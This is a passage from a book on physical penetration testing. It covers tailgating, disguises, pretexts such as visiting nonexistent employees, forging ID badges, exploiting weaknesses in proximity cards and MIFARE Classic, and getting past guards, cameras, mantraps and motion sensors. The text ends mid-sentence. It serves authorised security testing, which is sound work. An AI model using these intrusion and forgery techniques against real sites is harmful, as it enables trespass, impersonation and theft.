It’s directly comparable to the clich´e about passwords being\nwritten on sticky notes in plain sight because users have trouble with\na complex password policy. USB drives were also banned on site but\nwithout an alternative solution for moving large amounts of data around\n" }, { "page_number": 52, "text": "30\nEXECUTING TESTS\nin a non-networked environment, staff used them anyway. After all, you\ncan’t routinely search people for something as small as a USB stick. The\nupshot of this is that large amounts of classified data probably go in\nand out of the building every day. Security is a complex and ephemeral\nsubject and nothing is ever what it seems.\nThis chapter begins to talk about the practical and gives an overview\nof the execution of physical penetration testing. It doesn’t discuss lock\npicking or social engineering in any depth. These are specialized subjects\nthat have their own chapters, but I touch upon them. However, you will\nlearn practical techniques you can use again and again. In particular,\nI talk about the techniques that are directly applicable and useful to\nmembers of an operating team carrying out a penetration test. I discuss\nthe different paradigms or approaches that testers use and where they are\nrelevant. I also discuss specific techniques testers can use to circumvent\nsecurity controls, countermeasures and technologies. This is where things\nstart to get fun. Enjoy.\nCommon Paradigms for Conducting Tests\nBroadly speaking, there are three approaches to physical penetration\ntesting. An overview of each is given in the following sections. When\nplanning a test it is useful to draft a test plan after your preliminary\nresearch. This process maximizes the creative process and helps you\ndiscover the most viable plan of attack.\nTraits of the Overt Tester\nThe overt tester makes no attempt to disguise his presence. This is not\nto say that he will announce his intentions, but he makes little attempt\nto evade security controls or guards and will work ‘within the system’ as\nmuch as possible. When testing overtly, you rely on social engineering\nand flaws in human security as much as possible. A camera operator\nwould be unlikely to notice anything suspicious about a tester as his\nintention is to become a part of his environment.\nAs an example, an overt tester would walk into reception, give false\ncredentials, and be issued a legitimate badge. After border security is\nbreached you become part of the system and have nothing to fear from\nit. Usually such testing requires a higher degree of initial planning and\nsetup to put the tester in a position of trust.\nThe following is an example of an overt test:\n1.\nResearch staff names and functions.\n" }, { "page_number": 53, "text": "CONDUCTING SITE EXPLORATION\n31\n2.\nDetermine who is on vacation.\n3.\nTurn up for a sales meeting with a middle manager you know to be\nabsent.\n4.\nSign in at reception, get a badge and ‘call your contact’ before\nreception has a chance to. You’ll be right up.\nIf a site requires the guest to be escorted from reception, the above\napproach is not going to work although they may forget about you if they\nare busy, at which point you become a covert tester.\nTraits of the Covert Tester\nCovert testing is similar to overt testing except that operators rely more\non guile and on avoiding contact with people in positions of authority. A\ncovert tester will not enter through the front doors without reliable forged\ncredentials such as a pass, a badge or other access tokens. He prefers to\nslip in through a side door or make use of tailgating attacks. This form\nof testing is the most commonly deployed. Another example is dressing\nas a workman to wander about the perimeter unchallenged or to access\ndumpsters.\nCovert testing is the most common approach because it is the most\nflexible and theoretically the least risky. A (classic) example of its use to\ngain entry is to join a group of smokers and follow them in.\nTraits of the Unseen Tester\nThe unseen tester makes no contact with any individual at the site, but\nrelies completely on stealth. For these reasons, unseen testing is usually\nused for testing physical or automated security at night. Unseen testing\nrelies very heavily on individuals being able to evade guards and cameras,\nhave strong skills in areas such as lock picking and nerves of steel. The\ndangers of unseen testing are that, if caught, the tester will be treated as\nhostile by security personnel and is unlikely to have the same opportunity\nto explain himself as someone wearing a suit in the cold light of day.\nUnseen testing is most suited to night-time intrusion when an attack\nduring office hours is impractical.\nConducting Site Exploration\nNo matter how you gain access to a target facility, be sure not to outstay\nyour welcome. The risk of getting caught becomes exponentially higher\n" }, { "page_number": 54, "text": "32\nEXECUTING TESTS\nthe longer you stay on site. This is not to say that you should rush. Rushing\nis just as risky, but you should have a well-thought-out and flexible plan\nand know in advance what you’re looking for. Sometimes this is not\npossible or the Rules of Engagement are deliberately vague and you have\nto do a little exploration. The following areas may be of interest to a\npenetration tester.\nReception (Is Not Security)\nSometimes it seems like it’s all about reception. The purpose of reception\nis not security; that’s very much a secondary function. Reception’s main\nfunction is to welcome visitors and provide a face to the building. Who\nsees that face depends completely on the nature of the company, but it\nusually includes clients, salesmen, contractors and delivery men. It goes\nwithout saying that these groups are treated in very different ways.\nIn my experience there is nothing more dangerous for a company than\nto combine the function of meeting and greeting with security. They’re\ncompletely different things and are not mutually compatible. For example,\nI’ve seen security protocols neglected on many occasions when reception\nwas afraid of offending (what they believed to be) a VIP guest. This doesn’t\nmean that reception shouldn’t sign in guests or issue temporary badges,\nbut all visitors to a company should be known in advance by security\nand ID (passport or driving license) should be verified on arrival. Visitors\nnot on the list should not be allowed in.\nThe other danger of centralizing security around reception is that it creates\nthe illusion that there are no other points of entry. As we’ve already seen,\nthis simply isn’t the case.\nSetting up in Meeting Rooms\nMeeting rooms are a personal favorite of mine when conducting ethical\nhacking tests as they generally guarantee that you will be left alone for a\ncouple of hours. Meeting rooms can often be reserved through reception\nbut it’s best to just try your luck. Most of the time the worst that will\nhappen is that someone will poke an annoyed head around the door and\nclaim that they booked this room for this time. Don’t argue, just say that\nyou didn’t see the time and are just finishing up and then move to another\nroom.\nExploring Senior Staff Offices\nNothing brings home the seriousness of physical security to upper man-\nagement like having their offices breached. Sometimes the asset in a\n" }, { "page_number": 55, "text": "CONDUCTING SITE EXPLORATION\n33\npenetration test is not something physical but access to an individual.\nTests like this are carried out to determine management exposure to out-\nside threats that can range from physical attack by disgruntled individuals\nto the bugging of their offices by journalists or corporate spies.\nAt night, these offices are usually accessible via classic lock-picking\ntechniques. During the day, it is unlikely they will be locked at all;\nclearly, if the target asset is an individual, this is irrelevant.\nBreaching Server Rooms\nThe server room is one of the most secure areas within any organization\nand breaching it is the target of many physical penetration tests. A large\norganization is likely to have more than one server room and will certainly\nhave network infrastructure such as routers and switches on every floor.\nGaining direct physical access to servers means you can bypass many\nsecurity mechanisms such as firewalls and intrusion detection systems.\nJust demonstrating that you can access server rooms without authority is\nan extremely serious security concern.\nIt is unlikely that any proximity token you may have conned will give\nyou access to the server rooms. A combination of tailgating and social\nengineering are your best weapons.\nAccessing Storage and Warehouse Spaces\nThe warehouse – should there be one – is the most likely target for thieves\nand therefore an excellent goal for a penetration test. Warehouses have\nmore than one entrance. Usually there is a fair degree of security regulating\nwho can enter them from the outside world. However, entrances also\nexist from within the offices and anyone entering from there is not likely\nto be considered suspicious.\nSnooping in Guard Posts\nGuard posts, rooms, or cabins can be an interesting target for the intrepid\ntester. They are excellent sources of security tokens and staff information.\nSecurity policy will state that the guard room is never left unoccupied\nunless locked, but you’d be amazed at how often these rules are not\nfollowed. Even if the office door is locked, it’s often possible to reach\nthrough the security window and grab keys, passes, etc. You can use\nmultiple testers and create a distraction to force the guard to leave\nhis cabin, providing you with a few moments of uninterrupted access.\nDemonstrating practical attacks against the core of a site’s security is\nrevealing and makes for an excellent report.\n" }, { "page_number": 56, "text": "34\nEXECUTING TESTS\nExample Tactical Approaches\nThese are specific approaches that I’ve found to be very effective in\nmost circumstances. Self-confidence is a powerful factor in any testing\nsituation and absolutely necessary to your success. It’s a clich´e but if you\nbelieve in yourself and your chosen persona, others will too.\nTailgating to Gain Entry\nTailgating is an attack that you can use in any environment that makes\nuse of proximity door controls. In principle, the concept is simple enough\nbut in practice, it requires a little forethought for successful execution.\nYou (or an intruder) are unable to open proximity door locks without an\nactivated token. To overcome this, you wait until a legitimate pass holder\nopens the door and then slip through behind them. It is important to do\nthis in a way that does not draw suspicion.\nA classic approach is to ‘talk’ on your mobile phone near the door\nand conclude the call just as someone passes you in the hallway and\nopens it. Then you follow them. Give the impression that you’ve just\ngone out to take or receive a phone call, which you’ve now concluded\nand are returning inside. Don’t make eye contact if possible and seem\npreoccupied, frustrated or generally annoyed. These are natural emotions\nin most corporate environments and your mark will know better than\nto challenge you, although most of the time he won’t even notice\nyou.\nThis completes the con. Be careful though. Although this is a great\ntechnique for breaching border security – particularly at a secondary\npoint of ingress – you should avoid following the same individual through\nmultiple doors unless you wish to make him uncomfortable and thus draw\nattention to yourself. Don’t engage people you are targeting for tailgating\nin conversation. You may attract difficult questions. In any case, this is a\ntechnique you won’t need to use more than twice on most sites if done\nproperly.\nHowever, it’s a good idea to go the extra mile where credibility is\nconcerned: acquire a proximity token identical to those used on the\ntarget site and have it in your hand when following your mark.\nClothes Maketh the Man\nIt’s a fact of life that people will judge you by your appearance. In a\nphysical penetration test this is exactly what you want them to do.\n" }, { "page_number": 57, "text": "EXAMPLE TACTICAL APPROACHES\n35\nIt’s\npossible\nto\nadopt\nseveral\npersonas\n(or\n‘glamours’)\nfor\nthe\ntest – particularly\nif\nit\nis\nbeing\nconducted\nin\nphases – but\nnever\nunderestimate the need for attention to detail. The right logo, style of\nbadge, badge holder, pass, etc. will make all the difference and this\nis, at the risk of repeating myself, why you do preliminary research.\nFor example, if all workmen on site are wearing orange, high-visibility\njackets and yours is green with the logo of a different contractor, general\nstaff might not notice but the workmen certainly will. Consider where\nand why the examples in Table 3.1 might be useful.\nTable 3.1\nHandy disguises\nGlamour\nAppearance\nBusinessman\nPin-striped suit, crisp appearance, leather briefcase or laptop bag\nPizza delivery boy\nHumiliating outfit, moped, big cardboard box\nCourier\nBicycle and associated gear, courier case\nWater delivery guy\nBlue jumpsuit, water cooler bottle\nWorkman\nHigh-visibility clothing, safety helmet\nHow might each of these personas be utilized to gain entry to a corporate\nfacility? The courier is one of my favorites, particular when I’m working\nin London. Couriers are practically invisible; they come and go all the\ntime in city offices; no one gives them a second glance. On top of that,\nstaff are used to letting them through doors without a second thought. In\nmany ways, it’s a perfect disguise. Combine it with a business suit and\na forged badge hidden in your courier’s case, and a quick trip to the\nbathroom. It’s almost like a master key into any corporate facility.\nAny clothing you might need to perfect these outfits can be acquired\neasily online. Logos can be made on a computer, printed onto transfer\npaper and ironed onto virtually any surface from cloth to plastic.\nVisiting a Nonexistent Employee\nOne trick that works well in a large company is that of the ‘nonexistent\nemployee’. The premise is that employee turnover is often quite high and\npeople move around within the business as well. As a consequence, staff\ndatabases and phone lists are never entirely up to date. If you ask for an\nemployee who does not exist at reception or the guard office (depending\non where you are) then obviously they won’t be found in the sources\nnoted. You would think that this would raise suspicions, but actually it\ntends not to for the reasons already stated. As staff at reception tend to\n" }, { "page_number": 58, "text": "36\nEXECUTING TESTS\ncome and go as well, there is no possible way that they would be aware\nof every employee within the company. After five minutes of impatient\nwaiting just tell them that you have the contact details in your mobile\nphone and will call them. The guard or reception staff will probably be\nquite grateful because by that time a queue will have formed behind you.\nFeign a discussion on the phone, give the thumbs up to the guard, and\nyou’re all set for a good tailgating attack as visitors behind you in the\nqueue are processed. You’ll probably have to sign in as a regular guest,\nbut you may get issued a pass as soon as you do. Most receptions will\nhave these ready before they call your host. In any case, they will have\nforgotten about you as soon as you’re out of sight.\nCase Study – The Delivery Guy\nKris was an employee of Fountain Express, a small local outfit that\nspecialized in delivering bottled water to companies in the city. The\nfact that Fountain Express didn’t exist outside of Photoshop on his\nlaptop was academic. He looked the part in his blue jumpsuit and cap\nemblazoned with the logos of his new ‘employer’.\nHe entered the main lobby pushing a trolley laden with cooler bottles\nand headed for reception. He didn’t need to check out his surroundings\ntoo much, because he already knew where the guards and cameras\nwere, and in any case, busy, busy, water to deliver!\nKris rapped a couple of times on the reception desk earning the ire of\nthe girl who had failed to acknowledge him immediately. ‘Ah well’, he\nthought, ‘when you’re busy being angry, you’re not being suspicious.’\n‘Delivery for floor five, guv’, he said out loud.\n‘Which company?’, she replied.\n‘Unicorn Systems’, said Kris, dutifully checking his clipboard. The girl\n(Mandy according to her name badge) pointed to the door at the end\nof the hall. ‘The guard will let you through.’\n‘Thanks!’, he replied and he meant it.\nMechanisms of Physical Security\nThis section talks about the technologies that are commonly deployed to\nkeep intruders out and details the inherent weaknesses of each. Security\nmeasures discussed here include the following:\n•\nbadges and access tokens;\n" }, { "page_number": 59, "text": "MECHANISMS OF PHYSICAL SECURITY\n37\n•\nguards;\n•\ncameras;\n•\nphysical access controls.\nOnce you reach an understanding of what you are up against, it is much\neasier to demonstrate how this knowledge can be used in the testing\nprocess or to strengthen your own security practices.\nBadges\nBadges are issued to staff during enrollment or given to visitors when they\nsign in at reception. The purpose of a badge is to identify (and distinguish\nbetween) staff and guests and, in theory, to be able to spot an intruder\nimmediately. They take one of the following forms:\n•\nSimple ID Badges – These badges provide basic ID only. They display\na photograph and some employee information such as name, depart-\nment, and position. These passes contain no electronic components\nor chips.\n•\nProximity Tokens – Tokens themselves may be blank (see Figure 3.1),\nin which case staff will have another form of ID. However, ID badges\noften contain a proximity token.\nFigure 3.1\nProximity token.\nA proximity token is designed to open doors when the pass is held\nclose to the reader. They are passive, that is, they have no power\n" }, { "page_number": 60, "text": "38\nEXECUTING TESTS\nsource of their own, and only activate when they are in the proximity\nof the reader (hence the name). Aside from basic security, these\ndevices have two advantages:\n•\nDifferent levels of access throughout the building may be granted\nto different staff simply by changing flags in the central database.\n•\nStaff may be monitored so that it is possible to know where they\nare and (usually more important) where they have been.\nSometimes such devices are intelligent: they don’t enable the\nsame door to be opened in quick succession, to prevent sharing\nof tokens, but most of the time this is not the case due to various\npractical problems in implementation.\n•\nBarcode Badges – This is a very simple extension of an ID pass where\na bar code is added for access control (see Figure 3.2). Obviously,\nthese are easy to copy. Sites that use such passes are likely to have\nreaders only at the security border because of the inconvenience\nof physically swiping the pass through an optical reader. However,\nsensitive areas within the building are likely to be further protected\nusing proximity-coded doors.\nFigure 3.2\nBarcode badge.\nOne advantage of this system is that bar codes are quick and cheap\nto print, making them an ideal solution when a site has many visitors\nthat need to be issued with some form of access control. You will\noften find them in shared premises, where a central reception issues a\nbarcode badge to access the lifts and individual receptions issue any\nfurther passes necessary.\n" }, { "page_number": 61, "text": "MECHANISMS OF PHYSICAL SECURITY\n39\n•\nTemporary or Visitor Passes – When someone visits a site, they are\nusually issued with a temporary pass. This can fall into any of the\npreviously discussed categories, although it is usually a simple piece\nof cardboard with a name, company and ‘V’ or ‘Visitor’ written on it.\nSome companies keep a stash of proximity cards with a predefined\nlevel of access suitable to guests. This is necessary on sites that make\nstrong use of proximity technology as the alternative is to have guests\nescorted everywhere. Which pass is issued may also depend on the\nlevel of trust extended by the host company or the level of security\nclearance held by visitor. When examining passes, pay close attention\nto details such as numbers, letters or colors that might identify the\nlevel of access granted to the individual. You may also see markings\nsuch as ‘Escort Required’ or ‘Unescorted’.\nBypassing Badge Security\nIn a site that operates badge control as part of their security policy, all\nemployees, contractors, and visitors are required to openly display their\nbadges at all times. Security policy will also state that anyone not wearing\na badge should be challenged. In my long experience performing security\nconsultancy on many different sites, only once have I been challenged\nfor not wearing a badge.\nWhen I’m visiting a client and not performing penetration testing i.e.\nwhen I have been issued a badge legitimately, I make a point of wearing\nit inside my jacket or on my belt where it is only partially visible. Some\nbadges are issued on lanyards to be worn around the neck and no one\nhas ever challenged me for having it the wrong way around (lanyards\nalways seem to cause the badge to face the wrong way) so that the details\nare not visible. This is curious though useful and there are two reasons\nwhy it occurs. Staff will assume that if you’re there then you are supposed\nto be there. The possibility that you’re an intruder is usually the last thing\nthat will enter their mind. People in general are nonconfrontational by\nnature: most people will do whatever they can to avoid confrontation.\nIf you present yourself as a legitimate employee with all the necessary\nperipherals (i.e. a crisp suit and laptop, or workman’s overalls and a hard\nhat) then the only reason that people will suspect you is if you go out of\nyour way to give them a reason.\nPeople will notice that you’re not wearing a badge far more readily than\nthey will notice it’s not quite the right badge. When forging an ID, if\nyou can produce something that will pass muster then you’re more than\nhalfway there. How many times do you look closely at the badges other\npeople wear? During preliminary research, you should have been able to\ndetermine, at least roughly, what the target badges look like and therefore\nwhat it is you’re going to need to be able to reproduce.\n" }, { "page_number": 62, "text": "40\nEXECUTING TESTS\nFabricating Passes\nIn general, visitor passes are printed card or paper inserted into a plastic\npouch, whereas staff badges are made of plastic and inserted into a hard\nplastic sheath (see Figures 3.1, 3.2). You can easily obtain appropriate\nholders for passes online, although generally only in bulk. This leaves\nyou with the decision of which route you will take. Visitor passes are\neasier to forge but a staff pass provides more freedom and encourages\nfewer questions. With modern image manipulation software and printers,\ncreating fake ID of any kind is quite straightforward (see Figure 3.3). A\nlaminator is also very useful.\nFigure 3.3\nAn ID card can be created in ID Flow.\nIt’s a good idea to have a contingency plan in case you are stopped\nand challenged. Prepare some business cards that match up with your\npass and bear the right name, company and logo. The company phone\nnumber on your business cards should be a direct line to your social\nengineer, coordinator, or team leader back at HQ. Most laptop bags have\na business card holder on the outside so use it; keeping ‘id’ in plain sight\nlike this reinforces your image of credibility as does the carrying of other\nitems such as a business folder embossed with the company logo.\nIf access control is regulated simply through a barcode mechanism, then\nby all means try to duplicate the barcode or work out the encoding.\nBarcode encoding, decoding, and printing software is freely available\nonline. Security can certainly be bypassed in this way. Your preliminary\n" }, { "page_number": 63, "text": "MECHANISMS OF PHYSICAL SECURITY\n41\nresearch should provide you with the raw material to work with. Sites\nthat use bar codes have readers only prior to entering the core site. If you\ncan bypass that then any old bar code will do as it will, of course, be just\nfor the look of the thing.\nBadges that contain electronic means of access control are the hardest to\nreplicate. Because not all forms of proximity technology are equal, it is\npossible to duplicate badges but it is often prohibitively expensive. Your\npreliminary research, if well executed, will provide you with information\nabout which vendors the company has used. This enables you to deter-\nmine if there are any known weaknesses in the technology. For example,\nconsider the token in Figure 3.4.\nFigure 3.4\nCovert shot of keyring fob.\nA quick Google search on ‘keyring proximity’ returns the page shown in\nFigure 3.5 from the Siemens website (http://buildingtechnologies.siemens.\ncom/products systems/electronic security/access control file/cards and\ntags folder/proximity.htm). This page tells you the vendor and which\nreaders work with these tokens. It’s a Siemens SiPass proximity key tag\n(serial number ABR5100-TG) and it works with several readers in the\nSiPass range (ACS3110, AR633X-CP, AR618X-RX and AR6473-RX).\nAccording to the website, these keyring fobs have all the functionality\nof SiPass proximity cards. A full product brochure is available at http://\n" }, { "page_number": 64, "text": "42\nEXECUTING TESTS\nFigure 3.5\nSiemens SiPass website.\nwww.siemens.cz/siemjetstorage/files/32721 BR$SiPass$Standalone$en.\npdf. I suggest you read it.\nThe system works like this. Each token has an individual numeric ID,\nwhich is stored on the fob (it’s also printed on the exterior of the fob).\nDuring enrolment, this number is assigned to an individual and their level\nof access is keyed in to the computer. Another useful thing to note is that\nit is alarm capable, which means that when the SiPass system detects a\nfire alarm, for example, it disables the security system and unlocks the\ndoors. Without going into complex card-cloning techniques, you have\ntwo avenues of attack already. The first is a social engineering attack\nagainst the card database administrator to add the number of a token you\nown and the second is much more simple – a fire alarm.\nNote that Siemens won’t replace lost tokens. It’s necessary to activate\na new number and expire the old one. Having a key fob or prox-\nimity card identical to those used on site in your possession (even if\nthey’re not activated) will greatly improve your success with tailgating\nattacks.\nWhichever way you choose to go with fake passes, it is most likely that\nyou will have a badge with no electronic components and thus be unable\nto open proximity locks. In this case, you must resort to some form of\nsocial engineering to get others to open doors for you.\n" }, { "page_number": 65, "text": "MECHANISMS OF PHYSICAL SECURITY\n43\nWeaknesses of the MIFARE System\nThis section discusses one form of electronic access control, called\nMIFARE Classic (or Standard), made by the Dutch semiconductor com-\npany NXP (a spin-off from Philips). The card is used for many things,\nincluding site security and prepaid access to transit systems worldwide,\nincluding the Oyster card system on the London Underground (LU). It was\nrecently demonstrated to have significant weaknesses allowing attackers\nto clone cards, increase credit, and bypass security.\nMIFARE is essentially a memory-storage device that is very cheap to man-\nufacture (hence its popularity). In 2007, two German security researchers,\nHenryk Pl¨otz and Karsten Nohl, gave a presentation in Berlin that sug-\ngested the technology was extremely insecure based on their own partial\nreverse engineering. This theory was put into practice in 2008 by a\nresearch group based at Radboud University in Nijmegen, the Nether-\nlands. They demonstrated it was possible to clone and manipulate the\ncontents of the card. What was of particular concern was that the encryp-\ntion used by the cards (dubbed Crypto-1) could be broken in about 12\nseconds.\nNXP took this research seriously and tried (unsuccessfully) to block its\npublication. Following the publication of this research, documents were\nleaked from within LU that showed they had been warned in no uncertain\nterms that MIFARE Classic was not suitable for adoption for the Oyster\nproject and urged adoption of one of their other technologies, but LU\ndecided to go ahead with it anyway. In security, hubris tends to be pun-\nished severely. The equipment to clone MIFARE Classic cards is already\nstarting to circulate on the Internet and within the computer underground.\nCircumventing Preventative Security Controls\nPreventative security controls are those that act as a deterrent rather\nthan a physical barrier. The weakness here is that if an intruder is not\ndeterred, preventative controls provide little or no security. The mainstay\nof deterrence in a corporate facility is exactly the same as that you will\nsee on the streets: a uniformed presence and cameras. The shortfalls of\nthese security controls are the subject of this section.\nWorking Around Guards\nYou would think that the presence of guards would only add to overall\nsecurity, but you’d be wrong. Guards introduce an element to access\n" }, { "page_number": 66, "text": "44\nEXECUTING TESTS\ncontrol that you can exploit in a way that you can’t exploit electronic\ncountermeasures. Guards work long hours for low pay and are used to\nbeing looked down on. Usually they have a pretty easy, if uninteresting,\njob. A guard covering an entrance sees hundreds of people coming and\ngoing every day and his presence is preventative, meaning that he acts\nas deterrent. However, he is little more than a glorified doorman. Guards\ndeployed at entrances are there for several reasons:\n•\nto examine ID badges;\n•\nto let people in;\n•\nto ensure that no one obviously undesirable wanders in off the street;\n•\nto provide assistance to visitors and staff in the event of reader failures;\n•\nto provide a sense of security for the benefit of staff;\n•\nto deter potential intruders.\nAt some sites, where card readers are not used, guards are the sole point of\naccess control for verifying badges and passes. Although this is becoming\nincreasingly rare, it’s a point worth considering: is this something you\nwould want to be responsible for? Passes that rely solely on visual\nconfirmation sometimes have additional security measures attached – for\nexample, a holographic sticker – but for all except the most secure sites,\nyou can bet that visitors’ passes won’t have that.\nGuards can be tremendously helpful to the tester. They’re familiar with\nthe layout of the building and are usually forthcoming with directions and\nother help. As you’ll see in Chapter 4, people respond positively when\napproached in ways appropriate to their individual mindset. Guards,\nlike most people, want to feel important and when treated as such by\nprofessionals in suits, they tend to become extremely accommodating.\nGuards are also trained and expected to be polite and helpful to guests.\nThere are stories about security guards helping thieves load loot into vans.\nI don’t know if they’re true but it wouldn’t surprise me.\nA particularly audacious colleague of mine once entered a target site\ndressed as a security guard. Having researched which third-party firm\nwas used, he acquired an appropriate uniform and then relieved the\non-duty guard and sent him home. This is a very stylish but very risky\napproach.\nDealing with Cameras\nCameras are often treated as a security panacea, but really most of the\ntime they are just a deterrent. There are exceptions to this, of course. A\ncamera may be used to identify someone at the security perimeter or may\nbe fixed in place monitoring a turnstile. However, once within a target\n" }, { "page_number": 67, "text": "MECHANISMS OF PHYSICAL SECURITY\n45\nsite, particularly large sites, most cameras are not monitored. They simply\nrecord. It is not viable to analyze dozens of different feeds – it would need\na large staff dedicated to performing ongoing surveillance. Even if you\nhave the staff, try looking at camera feeds for four hours straight and you’ll\nsee what I mean; a few minutes of inattention is sufficient to permit a\nsecurity breach. Of course, an attacker doesn’t know which few minutes\nand therein lies the deterrent, but remember the feeds are unlikely to be\nmonitored in any meaningful manner anyway.\nSecurity cameras are fine for the purposes of evidence but they are\nwoefully inadequate for preventative security. However, let’s assume\nthat a site has 50 or so cameras and that these are monitored 24/7 by\ndedicated staff on a bank of monitors that switch between cameras every\nfew seconds. This is certainly more secure than record-only feeds, but\nthe problems occur when you analyze how camera monitoring staff are\ntrained.\nTypically, complete training in closed-circuit television (CCTV monitoring\ntakes at most one week and covers the following areas:\n•\nresponsibilities of the CCTV operator;\n•\ncodes of practice;\n•\ntechnical operation of CCTV equipment;\n•\ncontrol room communications and security;\n•\nlegislation;\n•\ndealing with incidents;\n•\nCCTV surveillance techniques;\n•\nhealth and safety;\n•\nongoing development of operator skills.\nMost of these courses do not exist to teach surveillance techniques as the\nprimary focus of training because most sites know that CCTV monitoring\nis at best a deterrent. Camera operators spend most of their time learning\nabout health and safety and the law. This way, the organization has per-\nformed due diligence and is legally covered in the event that monitoring\nstaff exceed the scope of their work. In fact, while a camera operator is\ntrained to look for behavior that could be construed as suspicious, a lot of\nemphasis is placed on behaviors to avoid, such as biased viewing based\non race or gender.\nSo what is suspicious behavior? Badges often have different colors (or\nvery clear letters or numbers) to indicate different levels of access or staff\nsecurity status. One of the reasons for this is that the quality of CCTV\ncameras feeds tends not to be very high and monitoring staff sometimes\nneeds to pick details off badges. So, the wrong color or letter in the wrong\n" }, { "page_number": 68, "text": "46\nEXECUTING TESTS\narea is suspicious, as is someone wearing an escorted badge without an\nescort. In general, the list is very short:\n•\nAn individual looks ‘out of place’, for example by wearing the wrong\nclothing or hairstyle.\n•\nAn individual seems to lack purpose, looks lost or is wandering.\n•\nAn individual lacks or has an incorrect badge.\n•\nAn individual remains in one place for too long or seems to be\n‘lurking’.\n•\nAn individual exhibits generally suspicious behavior, noted by moni-\ntoring staff or reported to them. This is where things get a little clouded.\nSome behavior is obviously suspicious – getting caught picking a lock\nfor example (unless perhaps you’re posing as a locksmith). Generally,\nthough, this is more of a gut instinct that monitoring staff are expected\nto pick up.\nAssuming that you have breached border security, you should observe\nthese rules:\n•\nDress appropriately for your role.\n•\nBe in possession of well-forged passes if possible.\n•\nLook like you belong.\n•\nDon’t wander around. If you’re lost consider asking someone for help.\nIf you need a break or to compose yourself, go to the bathrooms.\n•\nDon’t get caught doing something stupid.\n•\nTake as much time as you need to do the job correctly. Rushing will\nget you caught.\nGetting Around Physical Access Controls\nUnlike controls that rely on deterrence, physical access controls are\ndesigned to directly impede the progress of an intruder. Such mechanisms\ninclude:\n•\ngates or barriers;\n•\nmantraps;\n•\nturnstiles;\n•\nlocked doors;\n•\nmotion detectors.\nNone of these controls are foolproof and an imaginative tester can usually\nfind a way around them.\n" }, { "page_number": 69, "text": "MECHANISMS OF PHYSICAL SECURITY\n47\nBypassing a Gate or Barrier\nOn a lot of sites that employ proximity badge systems, the gate or barrier\nthat grants access from the main hall into the rest of the building is not a\nreal physical control. It is possible to circumnavigate by vaulting over it\nor going around it. The only things to prevent you doing this are:\n•\nStaff members – If staff see you jumping over the barrier they are\nlikely to comment on it. There is no real way around this other than to\nensure that they don’t see you. If you are in the unfortunate position of\nconsidering this approach make sure it’s not during peak times – first\nthing in the morning, last thing in the afternoon, or at lunch time.\n•\nSecurity guards or reception – These people can be distracted by\nfellow testers. The sorts of distractions you employ are limited only\nby your imagination but may include anything from simple enquiries\nto faking a heart attack. On virtually all sites, guards give precedence\nto the health and safety of staff and visitors over guarding a post.\n•\nCameras – Most cameras won’t be pointing at the barrier itself but at\nthe doorways into reception and sometimes at an area beyond it, such\nas among the lifts.\nBreaching border security by vaulting barriers in a public area should be\nan absolute last resort. You’re likely to get caught and look very stupid\nindeed. There is always a better, more intelligent approach; you just\nhaven’t found it yet.\nWorking Around a Mantrap\nA mantrap is an airlock-like form of access control found in high security\nsites and is driven solely via proximity badges. When you swipe your\nbadge, the first door opens, you enter and it shuts behind you. Only then\ndoes the second door open and permit your entry. The process is repeated\nwhen you exit. To further complicate things, the floor of the mantrap is\na pressure sensor that measures weight and weight distribution in order\nto detect the presence of more than one person. In some environments,\nyour body weight when leaving is compared to that on entering. Any\nsignificant variance triggers an alarm; this also acts as crude anti-theft\ndetection. Obviously, such devices make tailgating attacks impossible.\nA mantrap can be an intimidating obstacle to a tester (and, indeed,\nemployees in general) but that’s the whole point. It is a very visible\nindication of physical security and is designed to project an image that\nsuch things are taken very seriously here. However, like all images they’re\nlargely just for show.\n" }, { "page_number": 70, "text": "48\nEXECUTING TESTS\nWhen you walk into a company reception, you see what the company\nwants you to see. A mantrap impresses visitors and acts as a deterrent to\nan intruder. However, their use creates certain problems. The small area\ninside the mantrap will permit an individual to enter but not much else.\nA business (particularly a large business) requires much more than simply\npeople to function: it also needs desks, chairs, computers, water for the\ncoolers, and so on. These things don’t go through a mantrap.\nGenerally, you have two options when bypassing such obstacles; either\nfind the delivery entrance (which will be safely free of mantraps) and\npenetrate there or show up at reception with a delivery, at which point\nreception will let you through alternative doors (sometimes found to the\nside of the mantrap) or point you in the direction of the delivery entrance.\nAnother point to bear in mind: access through a mantrap is slow. It can\ntake around 20 seconds for just one person to pass through it, either in\nor out. In an emergency situation, this is completely unacceptable, so\ncertain events such as a fire alarm automatically cause both doors to\nopen to permit swift evacuation. Don’t be intimidated by flashy border\ncontrols and remember, security is only as strong as the weakest link in\nthe chain. It’s your job to find the weakest link.\nGaining Access Through a Turnstile\nTurnstiles are a common sight at high-security facilities, usually outside,\nat the border of the site. Like a mantrap, a turnstile is designed to permit\naccess to one person at a time and is not obviously easy to bypass. They\nprovide you with exactly the same problems as mantraps. You can usually\navoid a turnstile by driving (or walking) into the car park, where staff and\nvisitor access controls are likely to be internal. Other means of ingress\ncertainly exist. This is why you do preliminary research (see Chapter 6).\nBreaching a Locked Door\nMany of the things we unquestionably rely upon for security are easy\nto compromise with a little knowledge and thought. Nowhere is this\ntruer than with locks. By locks, I’m not talking about electronic proximity\nsystems but traditional devices that open with cut keys. Because some\ntests are inevitably going to include an element of lock picking, Chapter 5\nis as broad and thorough a look at lock picking as I can make it. The\nsort of locks that one can reasonably expect to encounter won’t (in most\ncases) be high security. Targets of lock picking during a physical test\ninclude:\n•\npadlocks on dumpsters or side doors;\n" }, { "page_number": 71, "text": "MECHANISMS OF PHYSICAL SECURITY\n49\n•\nlocks on filing cabinets and desk drawers;\n•\nlocks on office doors (in places where staff routinely lock them when\nat lunch or leaving for the day).\nIn most cases, these locks can be bypassed with only a little prior\nknowledge and practice.\nBypassing a Motion Detector\nMotion detectors are not utilized during office hours except in\nhigh-security areas and even then only at high-security sites. Such\ndevices are therefore only of concern if you are conducting a night-time\npenetration of a smaller facility (larger sites have 24-hour security).\nThey tend to be activated by a central alarm system when business is\nconcluded.\nOne advantage to knowing in advance that the site is alarmed and\nequipped with motion sensors is that it means you’ll be the only person\nthere. The downside to this is bypassing the sensors themselves. This\nmay, however, be achieved in the following ways:\n•\nSome sensors have a bypass button on the bottom. If you are able to\nreach the sensor without triggering it you can disable it this way. This\nis sometimes possible when sensor location is poor. A particularly\npoor location is at the top of stairs where it’s often possible to crawl\nup them underneath the sensor’s line of sight. Another example is\nabove a door, where the door swings outwards. If a bypass switch is\nnot present, you can (very slowly) attempt to cover the sensor with\nsticky tack or a similar substance.\n•\nMotion sensors sense motion: move slowly! These devices are usually\nnot as sensitive as you would imagine. I’ve seen 